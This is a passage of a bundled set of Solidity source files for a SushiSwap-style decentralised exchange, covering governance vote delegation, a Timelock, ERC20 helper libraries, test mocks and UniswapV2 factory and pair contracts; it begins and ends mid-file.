https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol\n // Which is copied and modified from COMPOUND:\n // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol\n\n /// @notice A record of each accounts delegate\n mapping (address => address) internal _delegates;\n\n /// @notice A checkpoint for marking number of votes from a given block\n struct Checkpoint {\n uint32 fromBlock;\n uint256 votes;\n }\n\n /// @notice A record of votes checkpoints for each account, by index\n mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;\n\n /// @notice The number of checkpoints for each account\n mapping (address => uint32) public numCheckpoints;\n\n /// @notice The EIP-712 typehash for the contract's domain\n bytes32 public constant DOMAIN_TYPEHASH = keccak256(\"EIP712Domain(string name,uint256 chainId,address verifyingContract)\");\n\n /// @notice The EIP-712 typehash for the delegation struct used by the contract\n bytes32 public constant DELEGATION_TYPEHASH = keccak256(\"Delegation(address delegatee,uint256 nonce,uint256 expiry)\");\n\n /// @notice A record of states for signing / validating signatures\n mapping (address => uint) public nonces;\n\n /// @notice An event thats emitted when an account changes its delegate\n event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);\n\n /// @notice An event thats emitted when a delegate account's vote balance changes\n event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);\n\n /**\n * @notice Delegate votes from `msg.sender` to `delegatee`\n * @param delegator The address to get delegatee for\n */\n function delegates(address delegator)\n external\n view\n returns (address)\n {\n return _delegates[delegator];\n }\n\n /**\n * @notice Delegate votes from `msg.sender` to `delegatee`\n * @param delegatee The address to delegate votes to\n */\n function delegate(address delegatee) external {\n return _delegate(msg.sender, delegatee);\n }\n\n /**\n * @notice Delegates votes from signatory to `delegatee`\n * @param delegatee The address to delegate votes to\n * @param nonce The contract state required to match the signature\n * @param expiry The time at which to expire the signature\n * @param v The recovery byte of the signature\n * @param r Half of the ECDSA signature pair\n * @param s Half of the ECDSA signature pair\n */\n function delegateBySig(\n address delegatee,\n uint nonce,\n uint expiry,\n uint8 v,\n bytes32 r,\n bytes32 s\n )\n external\n {\n bytes32 domainSeparator = keccak256(\n abi.encode(\n DOMAIN_TYPEHASH,\n keccak256(bytes(name())),\n getChainId(),\n address(this)\n )\n );\n\n bytes32 structHash = keccak256(\n abi.encode(\n DELEGATION_TYPEHASH,\n delegatee,\n nonce,\n expiry\n )\n );\n\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19\\x01\",\n domainSeparator,\n structHash\n )\n );\n\n address signatory = ecrecover(digest, v, r, s);\n require(signatory != address(0), \"SUSHI::delegateBySig: invalid signature\");\n require(nonce == nonces[signatory]++, \"SUSHI::delegateBySig: invalid nonce\");\n require(now <= expiry, \"SUSHI::delegateBySig: signature expired\");\n return _delegate(signatory, delegatee);\n }\n\n /**\n * @notice Gets the current votes balance for `account`\n * @param account The address to get votes balance\n * @return The number of current votes for `account`\n */\n function getCurrentVotes(address account)\n external\n view\n returns (uint256)\n {\n uint32 nCheckpoints = numCheckpoints[account];\n return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;\n }\n\n /**\n * @notice Determine the prior number of votes for an account as of a block number\n * @dev Block number must be a finalized block or else this function will revert to prevent misinformation.\n * @param account The address of the account to check\n * @param blockNumber The block number to get the vote balance at\n * @return The number of votes the account had as of the given block\n */\n function getPriorVotes(address account, uint blockNumber)\n external\n view\n returns (uint256)\n {\n require(blockNumber < block.number, \"SUSHI::getPriorVotes: not yet determined\");\n\n uint32 nCheckpoints = numCheckpoints[account];\n if (nCheckpoints == 0) {\n return 0;\n }\n\n // First check most recent balance\n if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {\n return checkpoints[account][nCheckpoints - 1].votes;\n }\n\n // Next check implicit zero balance\n if (checkpoints[account][0].fromBlock > blockNumber) {\n return 0;\n }\n\n uint32 lower = 0;\n uint32 upper = nCheckpoints - 1;\n while (upper > lower) {\n uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow\n Checkpoint memory cp = checkpoints[account][center];\n if (cp.fromBlock == blockNumber) {\n return cp.votes;\n } else if (cp.fromBlock < blockNumber) {\n lower = center;\n } else {\n upper = center - 1;\n }\n }\n return checkpoints[account][lower].votes;\n }\n\n function _delegate(address delegator, address delegatee)\n internal\n {\n address currentDelegate = _delegates[delegator];\n uint256 delegatorBalance = balanceOf(delegator); // balance of underlying SUSHIs (not scaled);\n _delegates[delegator] = delegatee;\n\n emit DelegateChanged(delegator, currentDelegate, delegatee);\n\n _moveDelegates(currentDelegate, delegatee, delegatorBalance);\n }\n\n function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {\n if (srcRep != dstRep && amount > 0) {\n if (srcRep != address(0)) {\n // decrease old representative\n uint32 srcRepNum = numCheckpoints[srcRep];\n uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;\n uint256 srcRepNew = srcRepOld.sub(amount);\n _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);\n }\n\n if (dstRep != address(0)) {\n // increase new representative\n uint32 dstRepNum = numCheckpoints[dstRep];\n uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;\n uint256 dstRepNew = dstRepOld.add(amount);\n _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);\n }\n }\n }\n\n function _writeCheckpoint(\n address delegatee,\n uint32 nCheckpoints,\n uint256 oldVotes,\n uint256 newVotes\n )\n internal\n {\n uint32 blockNumber = safe32(block.number, \"SUSHI::_writeCheckpoint: block number exceeds 32 bits\");\n\n if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {\n checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;\n } else {\n checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);\n numCheckpoints[delegatee] = nCheckpoints + 1;\n }\n\n emit DelegateVotesChanged(delegatee, oldVotes, newVotes);\n }\n\n function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {\n require(n < 2**32, errorMessage);\n return uint32(n);\n }\n\n function getChainId() internal pure returns (uint) {\n uint256 chainId;\n assembly { chainId := chainid() }\n return chainId;\n }\n}", + "contracts/governance/Timelock.sol": "// SPDX-License-Identifier: MIT\n\n// COPIED FROM https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/GovernorAlpha.sol\n// Copyright 2020 Compound Labs, Inc.\n// Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n// 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n// 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.\n// 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n//\n// Ctrl+f for XXX to see all the modifications.\n\n// XXX: pragma solidity ^0.5.16;\npragma solidity 0.6.12;\n\n// XXX: import \"./SafeMath.sol\";\nimport \"@openzeppelin/contracts/math/SafeMath.sol\";\n\ncontract Timelock {\n using SafeMath for uint;\n\n event NewAdmin(address indexed newAdmin);\n event NewPendingAdmin(address indexed newPendingAdmin);\n event NewDelay(uint indexed newDelay);\n event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);\n event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);\n event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);\n\n uint public constant GRACE_PERIOD = 14 days;\n uint public constant MINIMUM_DELAY = 2 days;\n uint public constant MAXIMUM_DELAY = 30 days;\n\n address public admin;\n address public pendingAdmin;\n uint public delay;\n bool public admin_initialized;\n\n mapping (bytes32 => bool) public queuedTransactions;\n\n\n constructor(address admin_, uint delay_) public {\n require(delay_ >= MINIMUM_DELAY, \"Timelock::constructor: Delay must exceed minimum delay.\");\n require(delay_ <= MAXIMUM_DELAY, \"Timelock::constructor: Delay must not exceed maximum delay.\");\n\n admin = admin_;\n delay = delay_;\n admin_initialized = false;\n }\n\n // XXX: function() external payable { }\n receive() external payable { }\n\n function setDelay(uint delay_) public {\n require(msg.sender == address(this), \"Timelock::setDelay: Call must come from Timelock.\");\n require(delay_ >= MINIMUM_DELAY, \"Timelock::setDelay: Delay must exceed minimum delay.\");\n require(delay_ <= MAXIMUM_DELAY, \"Timelock::setDelay: Delay must not exceed maximum delay.\");\n delay = delay_;\n\n emit NewDelay(delay);\n }\n\n function acceptAdmin() public {\n require(msg.sender == pendingAdmin, \"Timelock::acceptAdmin: Call must come from pendingAdmin.\");\n admin = msg.sender;\n pendingAdmin = address(0);\n\n emit NewAdmin(admin);\n }\n\n function setPendingAdmin(address pendingAdmin_) public {\n // allows one time setting of admin for deployment purposes\n if (admin_initialized) {\n require(msg.sender == address(this), \"Timelock::setPendingAdmin: Call must come from Timelock.\");\n } else {\n require(msg.sender == admin, \"Timelock::setPendingAdmin: First call must come from admin.\");\n admin_initialized = true;\n }\n pendingAdmin = pendingAdmin_;\n\n emit NewPendingAdmin(pendingAdmin);\n }\n\n function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {\n require(msg.sender == admin, \"Timelock::queueTransaction: Call must come from admin.\");\n require(eta >= getBlockTimestamp().add(delay), \"Timelock::queueTransaction: Estimated execution block must satisfy delay.\");\n\n bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n queuedTransactions[txHash] = true;\n\n emit QueueTransaction(txHash, target, value, signature, data, eta);\n return txHash;\n }\n\n function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {\n require(msg.sender == admin, \"Timelock::cancelTransaction: Call must come from admin.\");\n\n bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n queuedTransactions[txHash] = false;\n\n emit CancelTransaction(txHash, target, value, signature, data, eta);\n }\n\n function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {\n require(msg.sender == admin, \"Timelock::executeTransaction: Call must come from admin.\");\n\n bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));\n require(queuedTransactions[txHash], \"Timelock::executeTransaction: Transaction hasn't been queued.\");\n require(getBlockTimestamp() >= eta, \"Timelock::executeTransaction: Transaction hasn't surpassed time lock.\");\n require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), \"Timelock::executeTransaction: Transaction is stale.\");\n\n queuedTransactions[txHash] = false;\n\n bytes memory callData;\n\n if (bytes(signature).length == 0) {\n callData = data;\n } else {\n callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);\n }\n\n // solium-disable-next-line security/no-call-value\n (bool success, bytes memory returnData) = target.call.value(value)(callData);\n require(success, \"Timelock::executeTransaction: Transaction execution reverted.\");\n\n emit ExecuteTransaction(txHash, target, value, signature, data, eta);\n\n return returnData;\n }\n\n function getBlockTimestamp() internal view returns (uint) {\n // solium-disable-next-line security/no-block-members\n return block.timestamp;\n }\n}", + "contracts/interfaces/IERC20.sol": "// SPDX-License-Identifier: MIT\npragma solidity 0.6.12;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function allowance(address owner, address spender) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n // EIP 2612\n function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;\n}", + "contracts/libraries/SafeERC20.sol": "// SPDX-License-Identifier: MIT\npragma solidity 0.6.12;\n\nimport \"../interfaces/IERC20.sol\";\n\nlibrary SafeERC20 {\n function safeSymbol(IERC20 token) internal view returns(string memory) {\n (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));\n return success && data.length > 0 ? abi.decode(data, (string)) : \"???\";\n }\n\n function safeName(IERC20 token) internal view returns(string memory) {\n (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));\n return success && data.length > 0 ? abi.decode(data, (string)) : \"???\";\n }\n\n function safeDecimals(IERC20 token) public view returns (uint8) {\n (bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));\n return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;\n }\n\n function safeTransfer(IERC20 token, address to, uint256 amount) internal {\n (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount));\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"SafeERC20: Transfer failed\");\n }\n\n function safeTransferFrom(IERC20 token, address from, uint256 amount) internal {\n (bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount));\n require(success && (data.length == 0 || abi.decode(data, (bool))), \"SafeERC20: TransferFrom failed\");\n }\n}\n", + "contracts/libraries/SafeMath.sol": "// SPDX-License-Identifier: MIT\npragma solidity 0.6.12;\n// a library for performing overflow-safe math, updated with awesomeness from of DappHub (https://github.com/dapphub/ds-math)\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a + b) >= b, \"SafeMath: Add Overflow\");}\n function sub(uint256 a, uint256 b) internal pure returns (uint256 c) {require((c = a - b) <= a, \"SafeMath: Underflow\");}\n function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {require(b == 0 || (c = a * b)/b == a, \"SafeMath: Mul Overflow\");}\n function to128(uint256 a) internal pure returns (uint128 c) {\n require(a <= uint128(-1), \"SafeMath: uint128 Overflow\");\n c = uint128(a);\n }\n}\n\nlibrary SafeMath128 {\n function add(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a + b) >= b, \"SafeMath: Add Overflow\");}\n function sub(uint128 a, uint128 b) internal pure returns (uint128 c) {require((c = a - b) <= a, \"SafeMath: Underflow\");}\n}\n", + "contracts/mocks/ERC20Mock.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\n\ncontract ERC20Mock is ERC20 {\n constructor(\n string memory name,\n string memory symbol,\n uint256 supply\n ) public ERC20(name, symbol) {\n _mint(msg.sender, supply);\n }\n}", + "contracts/mocks/SushiMakerExploitMock.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"../SushiMaker.sol\";\n\ncontract SushiMakerExploitMock {\n SushiMaker public immutable sushiMaker;\n constructor (address _sushiMaker) public{\n sushiMaker = SushiMaker(_sushiMaker);\n } \n function convert(address token0, address token1) external {\n sushiMaker.convert(token0, token1);\n }\n}", + "contracts/mocks/SushiMakerKashiExploitMock.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"../SushiMakerKashi.sol\";\n\ncontract SushiMakerKashiExploitMock {\n SushiMakerKashi public immutable sushiMaker;\n \n constructor(address _sushiMaker) public {\n sushiMaker = SushiMakerKashi(_sushiMaker);\n } \n \n function convert(IKashiWithdrawFee kashiPair) external {\n sushiMaker.convert(kashiPair);\n }\n}\n", + "contracts/mocks/SushiSwapFactoryMock.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"../uniswapv2/UniswapV2Factory.sol\";\n\ncontract SushiSwapFactoryMock is UniswapV2Factory {\n constructor(address _feeToSetter) public UniswapV2Factory(_feeToSetter) {}\n}", + "contracts/mocks/SushiSwapPairMock.sol": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.6.12;\n\nimport \"../uniswapv2/UniswapV2Pair.sol\";\n\ncontract SushiSwapPairMock is UniswapV2Pair {\n constructor() public UniswapV2Pair() {}\n}", + "contracts/uniswapv2/UniswapV2ERC20.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\nimport './libraries/SafeMath.sol';\n\ncontract UniswapV2ERC20 {\n using SafeMathUniswap for uint;\n\n string public constant name = 'SushiSwap LP Token';\n string public constant symbol = 'SLP';\n uint8 public constant decimals = 18;\n uint public totalSupply;\n mapping(address => uint) public balanceOf;\n mapping(address => mapping(address => uint)) public allowance;\n\n bytes32 public DOMAIN_SEPARATOR;\n // keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\");\n bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;\n mapping(address => uint) public nonces;\n\n event Approval(address indexed owner, address indexed spender, uint value);\n event Transfer(address indexed from, address indexed to, uint value);\n\n constructor() public {\n uint chainId;\n assembly {\n chainId := chainid()\n }\n DOMAIN_SEPARATOR = keccak256(\n abi.encode(\n keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),\n keccak256(bytes(name)),\n keccak256(bytes('1')),\n chainId,\n address(this)\n )\n );\n }\n\n function _mint(address to, uint value) internal {\n totalSupply = totalSupply.add(value);\n balanceOf[to] = balanceOf[to].add(value);\n emit Transfer(address(0), to, value);\n }\n\n function _burn(address from, uint value) internal {\n balanceOf[from] = balanceOf[from].sub(value);\n totalSupply = totalSupply.sub(value);\n emit Transfer(from, address(0), value);\n }\n\n function _approve(address owner, address spender, uint value) private {\n allowance[owner][spender] = value;\n emit Approval(owner, spender, value);\n }\n\n function _transfer(address from, address to, uint value) private {\n balanceOf[from] = balanceOf[from].sub(value);\n balanceOf[to] = balanceOf[to].add(value);\n emit Transfer(from, to, value);\n }\n\n function approve(address spender, uint value) external returns (bool) {\n _approve(msg.sender, spender, value);\n return true;\n }\n\n function transfer(address to, uint value) external returns (bool) {\n _transfer(msg.sender, to, value);\n return true;\n }\n\n function transferFrom(address from, address to, uint value) external returns (bool) {\n if (allowance[from][msg.sender] != uint(-1)) {\n allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);\n }\n _transfer(from, to, value);\n return true;\n }\n\n function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {\n require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');\n bytes32 digest = keccak256(\n abi.encodePacked(\n '\\x19\\x01',\n DOMAIN_SEPARATOR,\n keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))\n )\n );\n address recoveredAddress = ecrecover(digest, v, r, s);\n require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');\n _approve(owner, spender, value);\n }\n}\n", + "contracts/uniswapv2/UniswapV2Factory.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\nimport './interfaces/IUniswapV2Factory.sol';\nimport './UniswapV2Pair.sol';\n\ncontract UniswapV2Factory is IUniswapV2Factory {\n address public override feeTo;\n address public override feeToSetter;\n address public override migrator;\n\n mapping(address => mapping(address => address)) public override getPair;\n address[] public override allPairs;\n\n event PairCreated(address indexed token0, address indexed token1, address pair, uint);\n\n constructor(address _feeToSetter) public {\n feeToSetter = _feeToSetter;\n }\n\n function allPairsLength() external override view returns (uint) {\n return allPairs.length;\n }\n\n function pairCodeHash() external pure returns (bytes32) {\n return keccak256(type(UniswapV2Pair).creationCode);\n }\n\n function createPair(address tokenA, address tokenB) external override returns (address pair) {\n require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES');\n (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);\n require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS');\n require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient\n bytes memory bytecode = type(UniswapV2Pair).creationCode;\n bytes32 salt = keccak256(abi.encodePacked(token0, token1));\n assembly {\n pair := create2(0, add(bytecode, 32), mload(bytecode), salt)\n }\n UniswapV2Pair(pair).initialize(token0, token1);\n getPair[token0][token1] = pair;\n getPair[token1][token0] = pair; // populate mapping in the reverse direction\n allPairs.push(pair);\n emit PairCreated(token0, token1, pair, allPairs.length);\n }\n\n function setFeeTo(address _feeTo) external override {\n require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');\n feeTo = _feeTo;\n }\n\n function setMigrator(address _migrator) external override {\n require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');\n migrator = _migrator;\n }\n\n function setFeeToSetter(address _feeToSetter) external override {\n require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN');\n feeToSetter = _feeToSetter;\n }\n\n}\n", + "contracts/uniswapv2/UniswapV2Pair.sol": "// SPDX-License-Identifier: GPL-3.0\n\npragma solidity =0.6.12;\n\nimport './UniswapV2ERC20.sol';\nimport './libraries/Math.sol';\nimport './libraries/UQ112x112.sol';\nimport './interfaces/IERC20.sol';\nimport './interfaces/IUniswapV2Factory.sol';\nimport './interfaces/IUniswapV2Callee.sol';\n\ninterface IMigrator {\n // Return the desired amount of liquidity token that the migrator wants.\n function desiredLiquidity() external view returns (uint256);\n}\n\ncontract UniswapV2Pair is UniswapV2ERC20 {\n using SafeMathUniswap for uint;\n using UQ112x112 for uint224;\n\n uint public constant MINIMUM_LIQUIDITY = 10**3;\n bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));\n\n address public factory;\n address public token0;\n address public token1;\n\n uint112 private reserve0; // uses single storage slot, accessible via getReserves\n uint112 private reserve1; // uses single storage slot, accessible via getReserves\n uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves\n\n uint public price0CumulativeLast;\n uint public price1CumulativeLast;\n uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event\n\n uint private unlocked = 1;\n modifier lock() {\n require(unlocked == 1, 'UniswapV2: LOCKED');\n unlocked = 0;\n _;\n unlocked = 1;\n }\n\n function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {\n _reserve0 = reserve0;\n _reserve1 = reserve1;\n _blockTimestampLast = blockTimestampLast;\n }\n\n function _safeTransfer(address token, address to, uint value) private {\n (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));\n require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');\n }\n\n event Mint(address indexed sender, uint amount0, uint amount1);\n event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n event Sync(uint112 reserve0, uint112 reserve1);\n\n constructor() public {\n factory = msg.sender;\n }\n\n // called once by the factory at time of deployment\n function initialize(address _token0, address _token1) external {\n require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check\n token0 = _token0;\n token1 = _token1;\n }\n\n // update reserves and, on the first call per block, price accumulators\n function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {\n require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');\n uint32 blockTimestamp = uint32(block.timestamp % 2**32);\n uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired\n if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {\n // * never overflows, and + overflow is desired\n price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;\n price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;\n }\n reserve0 = uint112(balance0);\n reserve1 = uint112(balance1);\n blockTimestampLast = blockTimestamp;\n emit Sync(reserve0, reserve1);\n }\n\n // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)\n function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {\n address feeTo = IUniswapV2Factory(factory).feeTo();\n feeOn = feeTo != address(0);\n uint _kLast = kLast; // gas savings\n if (feeOn) {\n if (_kLast != 0) {\n uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));\n uint rootKLast = Math.sqrt(_kLast);\n if (rootK > rootKLast) {\n uint numerator = totalSupply.mul(rootK.sub(rootKLast));\n uint denominator = rootK.mul(5).add(rootKLast);\n uint liquidity = numerator / denominator;\n if (liquidity > 0) _mint(feeTo, liquidity);\n }\n }\n } else if (_kLast != 0) {\n kLast = 0;\n }\n }\n\n // this low-level function should be called from a contract which performs important safety checks\n function mint(address to) external lock returns (uint liquidity) {\n (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings\n uint balance0 = IERC20Uniswap(token0).balanceOf(address(this));\n uint balance1 = IERC20Uniswap(token1).balanceOf(address(this));\n uint amount0 = balance0.sub(_reserve0);\n uint amount1 = balance1.sub(_reserve1);\n\n bool feeOn = _mintFee(_reserve0, _reserve1);\n uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee\n if (_totalSupply == 0) {\n address migrator = IUniswapV2Factory(factory).migrator();\n if (msg.sender == migrator) {\n liquidity = IMigrator(migrator).desiredLiquidity();\n require(liquidity > 0 && liquidity != uint256(-1), \"Bad desired liquidity\");\n } else {\n require(migrator == address(0), \"Must not have migrator\");\n liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);\n _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens\n }\n } else {\n liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);\n }\n require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');\n _mint(to, liquidity);\n\n _update(balance0, balance1, _reserve0, _reserve1);\n if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date\n emit Mint(msg.sender, amount0, amount1);\n }\n\n // this low-level function should be called from a contract which performs important safety checks\n function burn(address to) external lock returns (uint amount0, uint amount1) {\n (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings\n address _token0 = token0; // gas savings\n address _token1 = token1; // gas savings\n uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this));\n uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this));\n uint liquidity = balanceOf[address(this)];\n\n bool feeOn = _mintFee(_reserve0, _reserve1);\n uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee\n amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution\n amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution\n require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');\n _burn(address(this), liquidity);\n _safeTransfer(_token0, to, amount0);\n _safeTransfer(_token1, to, amount1);\n balance0 = IERC20Uniswap(_token0).balanceOf(address(this));\n balance1 = IERC20Uniswap(_token1).balanceOf(address(this));\n\n _update(balance0, balance1, _reserve0, _reserve1);\n if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date\n emit Burn(msg.sender, amount0, amount1, to);\n }\n\n // this low-level function should be called from a contract which performs important safety checks\n function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {\n require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');\n (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings\n require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');\n\n uint balance0;\n uint balance1;\n { // scope for _token{0,1}, avoids stack too deep errors\n address _token0 = token0;\n address _token1 = token1;\n require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');\n if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens\n if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens\n if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);\n balance0 = IERC20Uniswap(_token0).balanceOf(address(this));\n balance1 = IERC20Uniswap(_token1).balanceOf(address(this));\n }\n uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;\n uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;\n require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');\n { // scope for reserve{0,1}Adjusted, avoids stack too deep errors\n uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));\n uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));\n require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');\n }\n\n _update(balance0, balance1, _reserve0, _reserve1);\n emit 